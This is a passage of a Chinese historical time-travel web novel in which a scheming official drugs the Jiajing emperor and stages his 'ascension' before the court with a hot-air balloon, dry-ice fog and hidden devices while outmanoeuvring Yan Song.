他脸色有些苍白,眼圈发黑——昨夜兴奋得几乎没睡,今早又服了鹤岑特制的“安神丹”,此刻眼神飘忽,嘴角却挂着迷离的笑。
“仙路……朕的仙路……”
他喃喃自语,在太监搀扶下步下御辇。
百官齐刷刷叩首:“恭祝陛下飞升仙界,永享长生!”
声音在山谷间回荡。
严嵩跪在文官首位,头低着,眼睛却斜睨着登仙台方向。
他身后跪着严世蕃,父子俩交换了一个眼神。
“父亲,”严世蕃用极低的声音道,“接仙台那边……”
“按计划。”严嵩嘴唇微动,“等。”
“可时辰不对啊,不是三月初三吗?”
“徐光启说天象有变,吉时提前。”严嵩冷笑,“管他什么时候,只要上了天……就由不得他了。”
两人说话间,嘉靖已经走到台阶前。
苏惟瑾一身大红麒麟补服,腰间悬着尚方剑,率礼部官员迎上前来:“臣恭迎陛下。吉时将至,请陛下登台。”
嘉靖看着他,眼神有些恍惚:“爱卿……朕今日真能飞升?”
“陛下**,天象已显。”苏惟瑾躬身,“昨夜紫微星异动,吉时提前三日,此乃天意。徐监正已在台上恭候。”
“好……好……”
嘉靖踉跄一步,苏惟瑾伸手扶住。
这一扶,他感觉到皇帝的手臂在微微发抖。
不是兴奋,是药效上来了。
鹤岑那“安神丹”里掺了曼陀罗花粉和微量**提取物,能让人产生飘飘欲仙的幻觉,同时降低判断力。
剂量经过超频大脑精密计算,既不会当场昏厥,又能确保嘉靖在关键时刻“配合”。
“陛下当心。”
苏惟瑾扶着嘉靖踏上第一级台阶。
就在此时——
“陛下且慢!”
一个声音从百官队列中响起。
所有人回头。
成国公朱希忠颤巍巍站起身,他是正德朝的老臣,今年七十有二,仗着年纪大、爵位高,常以“直臣”自居。
此刻他拄着拐杖,白胡子抖着:“老臣有一言,不得不奏!”
嘉靖停下脚步,眉头皱起。
苏惟瑾眼神一冷。
“成国公有何事?”他语气平静,“吉时不可耽误。”
“正是吉时之事!”朱希忠上前两步,朝嘉靖拱手,“陛下!飞升大事,关乎国本,岂能因钦天监一言就随意更改?三月初三乃推演三年所得,今日三月初九,天象未验,仓促行事,恐有不祥啊!”
这话一出,几个勋贵跟着附和:
“成国公言之有理!”
“天象之事,岂能儿戏?”
“还请陛下三思!”
严嵩跪在地上,头更低了,嘴角却勾起一丝笑。
好戏开场了。
嘉靖被这么一闹,药效都散了几分,他迟疑地看向苏惟瑾:“爱卿,这……”
苏惟瑾松开了扶着他的手。
他转身,缓步走下两级台阶,站到成国公面前。
大红补服在晨风中轻摆,腰间尚方剑的剑鞘磕在玉带上,发出清脆的声响。
“成国公,”苏惟瑾开口,声音不大,却让全场安静下来,“你刚才说,天象未验?”
朱希忠挺直腰板:“自然!徐光启说吉时提前,有何凭据?星图呢?推算过程呢?空口白话,岂能取信?”
“哦。”苏惟瑾点点头,“那依成国公之见,该如何?”
“应当暂缓大典,待钦天监重新推演,验证无误后,再择吉日!”
“暂缓?”苏惟瑾笑了,“陛下飞升,乃天定之事。你说暂缓就暂缓?你是天子,还是陛下是天子?”
这话极重。
朱希忠脸色一变:“老夫岂敢!老夫是为陛下安危着想!”
“安危?”苏惟瑾上前一步,逼视着他,“成国公,本官问你,昨夜子时三刻,你在何处?”
朱希忠一愣:“自……自然在府中安寝。”
“安寝?”苏惟瑾从袖中抽出一张纸,“那为何锦衣卫的暗桩回报,昨夜子时三刻,成国公府后门有一辆黑篷马车进出?车上下来三人,其中一人进了你书房,密谈半个时辰才走。那人是谁?”
朱希忠脸色瞬间煞白:“你……你血口喷人!”
“是不是血口喷人,查查便知。”苏惟瑾转向嘉靖,“陛下,臣已查实,成国公朱希忠、武安侯郑铭、都察院左副都御史刘璟等七人,近日与严府往来密切,多次密议,欲在今日大典上‘见机行事’。所谓质疑吉时,不过是拖延之策,其心可诛!”
“胡说八道!”武安侯郑铭跳起来,“苏惟瑾!你这是污蔑!”
“污蔑?”苏惟瑾一挥手。
周大山从台侧转出,身后跟着一队虎贲营甲士。
他手里拎着一个捆成粽子的人,往地上一扔。
那人鼻青脸肿,衣衫褴褛,但仔细看,能认出是成国公府的长随朱福。
“陛下,”周大山单膝跪地,“昨夜卑职巡查西山,抓获此人鬼鬼祟祟在登仙台下埋设火油。经审讯,他供认是受成国公指使,欲在大典时制造混乱!”
全场哗然。
朱希忠腿一软,差点摔倒:“这……这不可能!朱福早已告假回乡……”
“回乡?”苏惟瑾蹲下身,揪起朱福的头发,“你自己说。”
朱福涕泪横流:“是……是公爷让小的做的……说事成之后给五百两银子,让小的远走高飞……小的该死!小的该死啊!”
“你胡说!”朱希忠气急攻心,拐杖都扔了。
苏惟瑾站起身,拍了拍手上并不存在的灰尘。
他走到嘉靖面前,躬身:“陛下,飞升在即,却有小人作乱,意图惊扰仙路。按律,当以‘大不敬’论处,就地正法,以儆效尤。”
嘉靖此刻药效又上来了,眼神迷离,只听到“惊扰仙路”四字,顿时勃然大怒:“大胆!拖下去!斩!”
“陛下!陛下冤枉啊!”朱希忠瘫倒在地。
两名金甲卫士上前,不由分说架起他就走。
老国公一路哭喊,声音凄厉,却被钟鼓声淹没。
武安侯郑铭等人吓得跪伏在地,瑟瑟发抖,一个字不敢再说。
严嵩依旧低着头,但攥着笏板的手,指节已经发白。
他没想到,苏惟瑾下手这么快、这么狠。
更没想到,自己安插在成国公府的暗桩,居然早就被发现了。
“还有谁要质疑吉时?”苏惟瑾环视百官。
无人应答。
山风吹过,只有旗帜猎猎作响。
“吉时到——”徐光启的声音从登仙台上传来。
苏惟瑾转身,重新扶住嘉靖:“陛下,请。”
嘉靖恍恍惚惚,任由他搀扶着,一步步踏上青石台阶。
九十九级台阶,走得很慢。
每走一步,两侧金甲卫士便敲击一次长戟,发出整齐的“锵锵”声。
台下的百官仰头看着,阳光刺眼,那杏黄色的身影渐渐升高,仿佛真的要登天而去。
严世蕃凑到父亲耳边:“父亲,现在怎么办?接仙台那边……”
“等信号。”严嵩咬牙,“朱希忠这个废物,打乱了计划。但无妨,只要陛下
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一‘飞升’……西山就是咱们的了。”
他抬头,望向台顶。
那里,徐光启已经摆开星盘,装模作样地念着祝文。
鹤岑一身道袍,手持桃木剑,正在做法。
而那座“飞升宝阁”的帷幕已经拉开,露出里面一个巨大的、涂成金色的竹编球体——热气球。
球体下悬挂着一个精致的藤编吊篮,篮边镶着金边,篮内铺着明黄锦缎。
嘉靖走到台顶时,被眼前的景象惊呆了。
“这……这是……”
“此乃‘飞升仙舆’。”苏惟瑾扶他走到吊篮边,“陛下请入内坐稳,待吉时一刻,仙舆自会升空,载陛下直上九天。”
嘉靖颤巍巍爬进吊篮——其实更像被苏惟瑾塞进去的。
他坐在锦缎垫子上,手里还死死攥着拂尘,眼神既兴奋又恐惧。
“爱卿……朕这一去,还能回来吗?”
“陛下已是半仙之体,飞升后自可逍遥天地间,何必再回这凡尘俗世?”苏惟瑾微笑,“时辰已到,陛下保重。”
他退后一步。
鹤岑开始摇铃念咒。
徐光启装模作样地观星。
而台下的胡三,已经悄悄点燃了热气球下的特制炭炉——燃料里掺了白磷和硝石,能瞬间产生大量热气,且烟雾呈乳白色,远远看去如“仙气蒸腾”。
“起——”
鹤岑桃木剑一指。
热气球缓缓离地。
台下百官齐刷刷跪倒,山呼万岁。
百姓在更远处围观,见状也纷纷跪拜,不少人真以为皇帝要成仙了,激动得热泪盈眶。
吊篮里,嘉靖紧紧抓住篮边。
他看着地面越来越远,看着跪拜的人群越来越小,看着西山层林尽染晨光……忽然,他感到一阵眩晕。
不是飞升的喜悦,是恐惧。
“朕……朕怎么在飘……”
他想喊,但药效让他的舌头打结。
他想站起来,但双腿发软。
热气球越升越高,已经离登仙台顶十余丈了。
而风向,正是东南风。
苏惟瑾站在台顶,仰头看着那个金色球体朝西北方向飘去,眼神冰冷。
按这个速度和风向,半个时辰后,热气球将飘出西山范围,进入长城外的荒野。
那里没有人烟,没有接应,只有……
他转头,望向西边山谷。
那里,五色狼烟还在升腾。
“公子,”苏惟奇匆匆上台,低声道,“胡三爷传信,五色狼烟代表五股敌人已潜入西山。其中三股被咱们的人截住了,但还有两股……失踪了。”
“在哪里失踪的?”
“登仙台后山,和……接仙台方向。”
苏惟瑾瞳孔一缩。
几乎同时——
“报——”
一名虎贲营士兵狂奔上台,单膝跪地:“伯爷!紫禁城来报!刘公岛水师副将**,率战船十二艘,今晨突袭登州卫!登州卫指挥使战死,**已控制港口,打出旗号‘清君侧,诛妖道’!”
妖道,指的自然是苏惟瑾。
台下,严嵩终于抬起头,脸上露出了一丝真正的笑容。
好戏,现在才开场。
他缓缓站起身,整了整官袍,对身后几个心腹使了个眼色。
而登仙台上,苏惟瑾看着越飘越远的金色气球,又看看台下严嵩那意味深长的笑容,忽然也笑了。
他走到台边,朝周大山做了个手势。
周大山会意,从怀中掏出一支红色烟花,点燃引信。
“嗖——砰!”
烟花在空中炸开,绽放出一朵巨大的红色莲花。
西山各处,突然响起震天喊杀声。
严嵩的笑容僵在脸上。
红色烟花是苏惟瑾预设的“收网”信号,西山各处伏兵尽出。
但热气球上的嘉靖正被东南风吹向绝境,接仙台方向仍有敌人失踪,刘公岛水师已叛变打出“清君侧”旗号。
严嵩以为自己赢了,可苏惟瑾那抹笑是什么意思?
更关键的是——那热气球里,坐着的真是嘉靖皇帝吗?
第406章 西苑人潮涌,百官聚观礼
西山那头红色莲花烟花炸开的时候,西苑太液池畔,人已经多得快挤不下了。
三月初三——至少对京城百姓来说,今天才是正日子。
昨儿个钦天监突然改口说吉时提前,可老百姓哪管这些?
大伙儿只认准了皇榜上白纸黑字写的“三月初三飞升大典”,天没亮就往西苑涌。
五城兵马司的兵丁嗓子都喊哑了:“让开!都让开!按街道牌坊排队!”
可谁听啊?
卖炊饼的王老汉被挤得贴在一棵柳树上,怀里油纸包都快压扁了,还在那儿跟旁边卖糖葫芦的老刘头唠嗑:“看见没?这就叫仙缘!咱俩这位置,待会儿陛下飞升,没准能蹭上点仙气!”
“得了吧你,”老刘头踮着脚往远处看,“我听说昨儿西山出事了,成国公被当场砍了……”
“嘘——”王老汉赶紧捂他嘴,“要命的活儿你也敢说?”
两人正嘀咕着,前头忽然骚动起来。
来了。
西苑正门敞开,先是净街的太监,然后是金瓜武士,接着是仪仗、伞盖、旌旗……最后才是那顶十六人抬的明黄御辇。
“万岁——”
人群呼啦啦跪倒一片。
辇上,嘉靖皇帝今日换了身行头。
绣金玄色道袍,领口袖口都用金线绣着云纹仙鹤;头戴紫金冠,正中嵌着一颗鸽蛋大的东珠;手里攥着根三尺来长的“飞升杆”——其实是根鎏金铜棍,顶端雕着蟠龙,龙嘴里含着一颗夜明珠,在晨光下熠熠生辉。
就是脸色不太对劲。
红是挺红,可那红得不自然,像是抹了胭脂。
眼神更是飘忽,看东西都带重影的——鹤岑那“安神丹”为了应付今天这场面,剂量加了三成。
“陛下,”苏惟瑾一身大红麒麟补服,走在御辇侧旁,低声道,“前面就到登仙台了。”
“哦……好……”嘉靖含糊应着,手里的飞升杆差点滑脱。
御辇在登仙台前停下。
这座台子跟西山那座不一样——这是临时搭建的,就立在太液池畔的空地上,高七丈七尺,取“七七四十九,大道圆满”之意。
台子用木架搭成,外头蒙着明黄色绸缎,绣满八卦符文。
台顶支着个棚子,垂着纱幔,隐约能看见里头有个金色的大球。
百官已经按品阶站好了。
勋贵在前头,文官在后头,武官在两侧。
严嵩站在文官首位,今日特意穿了身崭新的绯红仙鹤补服,腰束玉带,手持**笏板,看着格外精神。
他身后半步,站着严世蕃——这厮本来没资格站这么靠前,可严嵩硬是给他挪了个位置。
父子俩交换了个眼神。
严嵩微微颔首,左手不着痕迹地按了按袖口——那里头藏着一柄淬了毒的短刃。
这是最后的后手,万一“飞升”露馅,他就当场“除妖”,然后拥立太子。
成国公朱麟——老成国公朱希忠的侄子,昨天刚袭了爵——站在勋贵队列里,手也在抖。
他袖子里也藏了东西,不是短刃,而是一封**,罗列了苏惟瑾“十大罪状”,准备关键时刻抛出去。
“吉时到——”
司礼监太监拖长声音喊道。
钟鼓齐鸣,乐声大作。
鹤岑一身杏黄道袍,手持桃木剑,率先登上高台。
这老道今日格外仙风道骨,白须飘飘,步态轻盈,还真有几分得道高人的架势。
苏惟瑾搀扶着嘉靖,一步步走上台阶。
台下鸦雀无声,所有人的眼睛都盯着那玄色道袍。
一步,两步,三步……
走到一半时,嘉靖忽然脚下一软,要不是苏惟瑾搀着,差点栽下去。
“陛下当心。”苏惟瑾手上用力,几乎是半拖半拽地把皇帝拉上台。
严嵩眼睛眯了起来。
他身后,都察院左都御史何鳌——这位严嵩的门生,如今是都察院的一把手——轻咳一声,压低声音:“阁老,陛下这状态……”
“噤声。”严嵩面无表情,“看着便是。”
台上,鹤岑已经开始做法了。
桃木剑舞得呼呼生风,香炉里青烟缭绕,老道嘴里念念有词,全是些听不懂的咒文。
嘉靖被扶着坐在台中央的蒲团上,眼神更加迷离,手里的飞升杆都拿歪了。
苏惟瑾退到台侧,朝下面扫了一眼。
目光在严嵩脸上停留了一瞬。
严嵩也正好抬头,两人对视。
一个眼神平静如湖,一个眼神深不见底。
“吉时一刻——”鹤岑高喝,“请陛下登仙撵!”
两名道童——其实是虎贲营精挑细选的小个子士兵扮的——掀开台顶纱幔,露出里头那顶“仙撵”。
其实就是个加强版的热气球吊篮。
只不过装饰得极其华丽:藤编的篮身外头包着金箔,四角挂着玉铃铛,篮内铺着明黄锦缎,还摆了个小香案,上面供着三清牌位。
篮子上方连着的金色球体比西山那个小一号,但涂得更亮,在阳光下晃眼。
“陛下,请。”
苏惟瑾上前,和道童一起搀起嘉靖。
嘉靖摇摇晃晃站起来,看看那吊篮,又看看台下黑压压的人群,忽然咧嘴笑了:“朕……朕要成仙了……你们……你们这些凡人……”
这话说得含糊,但前排官员都听见了。
成国公朱麟手心里的汗把**都浸湿了。
严嵩依旧不动声色,但袖口里的手,已经握住了短刃的柄。
就在嘉靖一只脚要迈进吊篮时——
“且慢!”
一个声音从台下响起。
所有人齐刷刷转头。
说话的是个四十来岁的御史,叫张振,在都察院是个不起眼的角色,平时唯唯诺诺,没想到今天敢出头。
“张御史有何事?”苏惟瑾站在台上,居高临下地看着他。
张振咽了口唾沫,硬着头皮上前两步,朝台上的嘉靖躬身:“陛下!臣……臣有一事不明!”
嘉靖正迷糊着,没听清。
苏惟瑾淡淡道:“说。”
“这……这仙撵,”张振指着吊篮,“臣观其形制,与民间孔明灯颇有相似之处。孔明灯乃竹纸所制,借热气升空,不过飘数十丈即落。陛下万金之躯,岂能乘此物飞升?万一……万一有所闪失……”
这话其实说出了不少官员的心声。
是啊,这玩意儿看着就跟大号孔明灯似的,能飞升成仙?骗鬼呢!
严嵩嘴角勾起一丝冷笑。
这张振是他安排的,作用就是抛砖引玉——先把质疑抛出来,看看苏惟瑾怎么接。
果然,张振一说完,几个官员也跟着附和:
“张御史所言有理!”
“陛下安危要紧啊!”
“还请靖海伯明示,此物究竟有何玄机?”
台下百姓也开始窃窃私语。
前排有人眼尖,真看出那“仙撵”跟孔明灯有点像,一时间议论纷纷。
王老汉跟老刘头咬耳朵:“你别说,还真像……”
“闭嘴!”老刘头赶紧掐他,“不要命了?”
台上,苏惟瑾笑了。
他缓步走到台边,看着张振:“张御史,你说此物像孔明灯?”
“是……是有些相似……”
“那本官问你,”苏惟瑾声音提高,让全场都能听见,“孔明灯为何能升空?”
张振一愣:“自然……自然是因灯内热气……”
“错了。”苏惟瑾打断他,“孔明灯升空,是因热胀冷缩之理——灯内空气受热膨胀,密度变小,故而上升。此乃天地自然之道,与仙术何干?”
他转身,指向吊篮上方那金色球体:“而这‘飞升仙撵’,所用之理却截然不同。”
全场安静下来。
连嘉靖都迷迷糊糊转过头。
“此物乃本官参悟《道藏》三年,辅以西洋格物之学所创。”苏惟瑾朗声道,“其内非是寻常热气,而是采集‘九天清灵之气’,以秘法封存。此气轻于空气百倍,一丝便可载千斤。球体外壁镌刻三百六十道符咒,对应周天星辰,可引动天地元气,护持仙撵直上九霄——”
他说得一本正经,台下百姓听得一愣一愣的。
王老汉张着嘴:“乖乖……九天清灵之气……听起来就厉害……”
张振被噎得说不出话。
严嵩脸色沉了下来。
这苏惟瑾,摆明了是故弄玄虚,可偏偏说得头头是道,还把《道藏》、西洋格物都扯进来,让人一时无法反驳。
“张御史若还不信,”苏惟瑾忽然道,“本官可当场演示。”
他一挥手。
台侧,苏惟虎推上来一个小一号的“仙撵”模型,只有三尺来高,但形制一模一样。
苏惟瑾从怀中取出一个小瓷瓶,拔开塞子,往模型球体内倒了点什么——其实是干冰,但百姓看来,就是一股“白气”。
然后他点燃球体下的特制炭炉。
片刻后,那模型缓缓离地,飘了起来。
越飘越高,越飘越高……
“看见没有?”苏惟瑾指着空中那个越来越小的模型,“此乃‘九天清灵之气’之功。若依张御史所言,此物与孔明灯相
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似,那孔明灯可能飘至十丈、二十丈高而不落?”
模型已经飘到三十余丈高空,还在继续上升。
台下百姓炸开了锅:
“神了!真神了!”
“靖海伯果然是神仙下凡啊!”
“陛下有福!陛下有福!”
张振面红耳赤,退也不是,进也不是。
严嵩冷哼一声,上前一步:“靖海伯好手段。不过,模型终究是模型,与**乘坐岂能一概而论?陛下万乘之尊,若有何闪失……”
“严阁老多虑了。”苏惟瑾看向他,眼神锐利,“昨日西山,本官已亲自试乘此物,飘行十里安然落地。此事周大山周将军、鹤岑国师皆可作证。”
他顿了顿,声音转冷:“还是说,严阁老信不过本官,也信不过陛下亲自选定的飞升吉日?”
这话就重了。
严嵩眼皮一跳。
他身后,严世蕃急了,就要开口,被严嵩一个眼神瞪了回去。
“老夫岂敢。”严嵩拱手,皮笑肉不笑,“只是事关陛下安危,多问一句罢了。既然伯爷已有万全准备,那……请继续。”
他退后一步,袖中的手却握得更紧。
台上,苏惟瑾不再理会,转身搀起嘉靖:“陛下,请登撵。”
嘉靖这会儿药效正猛,看什么都带光圈,迷迷糊糊就被扶进了吊篮。
两名道童给他系好安全带——当然,说是“护身仙索”。
鹤岑开始摇铃念咒。
炭炉点燃,特制的燃料发出乳白色烟雾,将吊篮笼罩其中,真如仙气蒸腾。
吊篮缓缓离地。
一寸,两寸,一尺……
台下百姓屏住呼吸,百官伸长脖子。
成国公朱麟手心全是汗,**都快捏烂了。
严嵩盯着那越升越高的吊篮,又看看台上负手而立的苏惟瑾,忽然觉得哪里不对。
太顺利了。
顺利得反常。
按照原计划,此刻西山那边应该已经得手,接仙台会发出信号。
可到现在,什么动静都没有。
难道……
他猛地抬头,看向吊篮。
纱幔被风吹开一角,隐约能看见里面嘉靖的侧脸——那表情,怎么像是……睡着了?
“起——”
鹤岑一声高喝。
吊篮彻底离开台面,升到三丈空中。
就在此时,异变突生!
“陛下小心!”
一声暴喝从台下响起。
只见一个黑影从百官队列中窜出,竟是个穿着七品青袍的年轻官员!
他手中寒光一闪,一柄短刀直射空中吊篮!
“有刺客!”
“护驾!”
场面瞬间大乱。
那短刀“铛”一声打在吊篮外壁,弹开了——篮子外头包了铁皮。
可这一下惊动了吊篮里的嘉靖,他猛地睁开眼,看见自己悬在半空,顿时吓得魂飞魄散:“啊——救命!救——”
话没说完,药劲上来,又晕了过去。
台下,那年轻官员已被金瓜武士按倒在地。
严嵩瞳孔骤缩。
这人不是他安排的!
是谁?
他猛地看向苏惟瑾。
台上的苏惟瑾,此刻正看着那年轻官员,脸上露出一丝……冷笑?
“押下去,严加审讯。”苏惟瑾淡淡道,仿佛刚才的刺杀只是个小插曲。
然后他抬头,看向空中已经升到十余丈的吊篮,朗声道:“吉时已到,恭送陛下飞升仙界——”
“恭送陛下——”
百官、百姓齐刷刷跪倒。
吊篮在乳白色烟雾中越升越高,越飘越远,朝西北方向而去。
严嵩跪在地上,抬头看着那个渐行渐远的金色球体,心中那股不安越来越强烈。
不对劲。
从昨天吉时突然提前,到今早成国公被斩,再到刚才那个莫名其妙的刺客……
这一切,都像是被人精心编排好的戏码。
而他严嵩,好像从始至终,都只是戏台上的一个配角。
他缓缓转头,看向台上那个大红身影。
苏惟瑾正负手而立,仰头望天,侧脸在晨光中显得格外平静。
仿佛这一切,尽在掌握。
吊篮已升空远去,嘉靖“飞升”成定局。
可严嵩心中疑窦丛生——那个突然出现的刺客是谁安排的?苏惟瑾为何如此镇定?
更关键的是,昨日西山那边,红色烟花炸开后,到底发生了什么?
而此刻太液池对岸的柳林中,几个黑影正悄悄架起一架怪模怪样的铜管,管口对准的,正是空中那个越来越小的金色球体……
第407章 仙雾腾空起,帝撵升九霄
太液池畔,鸦雀无声。
所有人的眼睛都盯着空中那个金色球体——它已经升到二十余丈高,在晨光下熠熠生辉,下方垂着的吊篮在微风中轻轻摇晃,纱幔飘拂,隐约能看见里面杏黄色的身影。
“真……真飞起来了……”卖炊饼的王老汉张着嘴,手里的炊饼掉了都不知道。
老刘头使劲掐了自己一把:“疼!不是做梦!”
百姓堆里先是一阵死寂,然后“轰”的一声炸开:
“陛下飞升了!”
“神仙!真是神仙!”
“万岁!万岁!”
前排的百姓已经跪倒一片,后面的人拼命往前挤,想看得更清楚些。
五城兵马司的兵丁拦都拦不住,人潮像开了闸的洪水,涌向登仙台方向。
百官队列里,表情就复杂多了。
成国公朱麟脸色惨白,袖子里那封**已经被汗水浸透,字迹都糊了。
他死死盯着空中的吊篮,想从里头找出破绽——缆绳呢?机关呢?怎么什么都没有?
可那球体就这么悬在空中,缓缓上升,底下除了乳白色的烟雾,什么都没有。
“不可能……”朱麟喃喃道,“这怎么可能……”
他身后,几个勋贵交换着眼色,都从对方眼里看到了惊疑不定。
严嵩站在文官首位,面沉如水。
他也在找破绽。
作为在官场摸爬滚打几十年的老狐狸,他深知一个道理:越是看着神奇的事,里头越可能有鬼。
可眼前这景象,实在超出他的理解范畴。
那球体越升越高,已经超过三十丈了。
这个高度,什么机关缆绳都藏不住——底下就是太液池的水面,清澈见底,要真有绳索牵引,早就看见了。
可偏偏没有。
难道……苏惟瑾真会仙术?
这个念头刚冒出来,就被严嵩掐灭了。
不可能。
他太了解这小子了,从沭阳县一个书童爬到今天的位置,靠的是心机手腕,不是什么仙术。
可眼前这景象……
“阁老,”严世蕃凑过来,压低声音,“不对劲。西山那边到现在没动静,接仙台……”
“闭嘴。”严嵩打断他,眼睛依旧盯着空中,“看着。”
台上,鹤岑已经开始“加码”了。
老道手持桃木剑,在香案前踏罡步斗,嘴里念念有词。
随着他的动作,台子四周突然“噗噗噗”连响,几十根埋在台基下的铜管同时喷出白色浓雾!
这雾来得又急又浓,瞬间将整个登仙台笼罩其中。
更奇的是,这雾在阳光下竟折射出七彩光华,赤橙黄绿青蓝紫,流转变幻,真如仙境祥云。
“仙气!是仙气!”台下百姓惊呼。
其实哪是什么仙气,就是干冰升华产生的二氧化碳雾气,掺了点特制的荧光粉。
但这年头谁懂这个?看着神奇就够了。
浓雾中,苏惟瑾朝台侧的苏惟虎使了个眼色。
苏惟虎会意,悄悄转动一个藏在台板下的机关把手。
吊篮下方,一个隐蔽的铜制喷口突然喷出火焰!
这火焰经过特殊设计——燃料是精炼的鲸油,混合了硫磺和铜粉,烧起来不是普通的橙红色,而是耀眼的金色。
火焰从喷口喷出后,被特制的网格打散,形成一片片翻腾的“火云”,正好托在吊篮下方。
从台下看去,那景象简直惊世骇俗:
金色球体悬在半空,下方祥云缭绕,七彩仙雾蒸腾,而吊篮底下竟凭空生出朵朵金色“祥云”,托举着仙撵缓缓上升!
“我的娘……”王老汉直接跪下了,咚咚咚磕头,“神仙显灵!神仙显灵啊!”
百姓们见状,也跟着磕头如捣蒜。
一时间,太液池畔跪倒一片,只有前排的官员还勉强站着,但一个个也目瞪口呆。
严嵩的眼皮狂跳。
他看出来了——那金色“祥云”是火焰!
可火焰怎么能托举重物?这又是什么妖法?
就在他绞尽脑汁思索时,吊篮里传出了声音。
“朕……朕成仙矣——”
声音洪亮,带着难以言喻的狂喜,竟是从空中传来的,清晰得就像在耳边说话。
其实原理很简单:吊篮里装了个铜制的扩音喇叭,连着一根细铜管通到台下,台下有人对着管子说话,声音就传上去了。
说话的是鹤岑安排的一个口技艺人,专门模仿嘉靖的声音。
但这会儿谁去琢磨原理?
百姓们一听皇帝亲口说自己成仙了,更是激动得热泪盈眶:
“陛下成仙了!”
“天佑大明!天佑大明啊!”
百官队列里,终于有人撑不住了。
礼部右侍郎李春芳——这位老翰林,一辈子读圣贤书,最不信怪力乱神——此刻看着空中那奇幻景象,听着那洪亮声音,膝盖一软,“噗通”跪下了。
他一跪,后面哗啦啦又跪倒一片文官。
成国公朱麟还在硬撑,可腿肚子已经转筋了。
他扭头看严嵩,想从这位首辅脸上找到点提示,却见严嵩死死盯着吊篮下方那片金色“祥云”,嘴唇抿成一条线。
“严阁老……”朱麟小声道,“这……”
“看着。”严嵩还是那两个字,但声音已经有些发紧。
他看出来了。
那金色“祥云”虽然神奇,但有个破绽——火焰的形状太规整了,翻腾的节奏也很有规律,不像自然形成的火云,倒像是……像是被什么东西控制着。
可看出来又怎样?
现在去揭穿?说那不是仙术是妖法?百姓会信吗?百官会信吗?皇帝自己都在上头喊“成仙了”!
严嵩第一次感觉到无力。
这种无力,不是权力斗争中的暂时失利,而是一种认知上的碾压——对方用的手段,他完全看不懂。
吊篮已经升到五十余丈高空。
这个高度,地面上的人看去,那金色球体已经只有巴掌大了。
吊篮下的金色“祥云”也渐渐淡去——燃料烧得差不多了。
但效果已经达到。
太液池畔,跪倒的百姓黑压压一片,不少人还在磕头,额头都磕红了。
百官队列里,站着的只剩严嵩、严世蕃、成国公朱麟等寥寥几人,其他全跪了。
台上,苏惟瑾仰头看着空中那个越来越小的金点,嘴角勾起一丝若有若无的笑。
他转身,面向台下,朗声道:“陛下已登仙路,诸位请起吧。”
声音平静,却带着不容置疑的威严。
百姓们这才如梦初醒,纷纷起身,但眼睛还盯着天空,仿佛怕错过什么神迹。
百官也陆续站起来,一个个面色复杂。
有人激动,有人恍惚,有人将信将疑,也有人——比如严嵩——脸色铁青。
“靖海伯,”严嵩终于开口,声音干涩,“陛下……这就飞升了?”
“自然。”苏惟瑾看着他,“严阁老还有疑问?”
“不敢。”严嵩拱手,皮笑肉不笑,“只是陛下飞升,太子年幼,这朝政……”
“朝政自有内阁主持。”苏惟瑾淡淡道,“陛下飞升前已有旨意,命内阁三位阁老——严阁老、徐阁老、费阁老——共同辅政,待太子成年。”
这话一出,严嵩眼皮又是一跳。
三位阁**同辅政?那他的首辅之位……
“旨意何在?”严世蕃忍不住插嘴。
苏惟瑾看了他一眼,没说话,只是从袖中取出一卷明黄绢帛,缓缓展开。
“飞升诏书在此。”他朗声念道,“……朕今飞升,太子朱载重即位,改元道历。内阁大学士严嵩、徐阶、费宏,辅政理事,待太子成年还政。钦此——”
念完,他将诏书递给一旁的司礼监太监:“存档,昭告天下。”
太监躬身接过。
严嵩看着那卷诏书,心里翻江倒海。
三位阁**同辅政,明摆着是要分他的权。
徐阶那老狐狸早就跟苏惟瑾穿一条裤子,费宏虽然中立,但也不是省油的灯。
这局面……
他深吸一口气,压下心头翻涌的情绪,躬身道:“臣……领旨。”
“严阁老辛苦。”苏惟瑾点点头,转身看向台下,“大典已成,诸位请回吧。三日后,新皇登基大典,还请准时。”
说完,他不再理会众人,径自走下高台。
鹤岑跟在他身后,两人一前一后,穿过跪拜的人群,朝西苑外走去。
百姓们自动让开一条路,看着苏惟瑾的眼神,充满了敬畏——能主持飞升大典的人,那得是多大的神通?
严嵩站在原地,看着苏惟瑾远去的背影,手在袖中攥紧。
“父亲,”严世蕃凑过来,咬牙切齿,“就这么让他走了?西山那边……”
“回去再说。”严嵩打断他,转身,“走。”
成国公朱麟看着严家父
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子离开,又看看空中早已消失不见的金色球体,腿一软,差点坐地上。
旁边两个勋贵赶紧扶住他。
“国公爷,您……”
“回府……”朱麟脸色惨白,“快,回府……”
他袖子里那封**,终究没敢掏出来。
……
太液池对岸,柳林中。
几个黑衣人还蹲在草丛里,面前架着那架怪模怪样的铜管。
为首的是个独眼汉子,叫赵四,是严世蕃养的死士。
此刻他透过铜管上的水晶镜片,看着对岸散场的人群,啐了一口。
“**,白准备了。”
他面前这玩意儿,是花重金从西洋商人那儿买的“千里镜”,据说能看清三里外的人脸。
严世蕃本来计划,等飞升大典出纰漏时,用这玩意儿找出破绽,当场揭穿。
可现在……
“四哥,还瞄吗?”旁边一个小弟问。
“瞄个屁!”赵四收起千里镜,“人都飞没了。撤!”
几人迅速收拾东西,消失在柳林深处。
他们没注意到,在他们身后不远处的另一片树丛里,胡三正蹲在那儿,手里也拿着个单筒望远镜——这是月港“格物学堂”的最新成果,虽然简陋,但看得比西洋货还清楚。
“公子猜得没错,严家果然留了后手。”胡三嘿嘿一笑,收起望远镜,打了个呼哨。
树梢上,几只灰扑扑的麻雀扑棱棱飞起,朝着赵四等人离开的方向追去。
……
西苑外,苏府马车早已等候多时。
苏惟瑾上车前,回头看了一眼太液池方向。
空中早已空无一物。
“公子,”鹤岑低声道,“那吊篮……”
“按计划,应该已经落在西山北麓了。”苏惟瑾淡淡道,“周大山会处理好。”
“可陛下他……”
“药效能维持六个时辰。”苏惟瑾登上马车,“足够时间‘善后’了。”
车帘放下,马车缓缓启动。
车内,苏惟瑾闭上眼睛,超频大脑开始复盘今天的每一个细节。
干冰烟雾的时机、金色火焰的喷射、扩音装置的效果……一切都在计划中。
严嵩的反应也在预料之内——这老狐狸果然想找破绽,可惜,他永远找不到。
因为这不是仙术,是科学。
而科学对这个时代的人来说,比仙术更难以理解。
马车驶过长街,窗外传来百姓兴奋的议论声:
“看见没?陛下真飞升了!”
“那金色祥云,我这辈子都没见过!”
“靖海伯真是神仙下凡啊……”
苏惟瑾嘴角微扬。
神仙?
不,他只是个来自未来的读书人,用知识,在这个时代,导演了一场“神迹”。
马车转过街角,朝靖海伯府驶去。
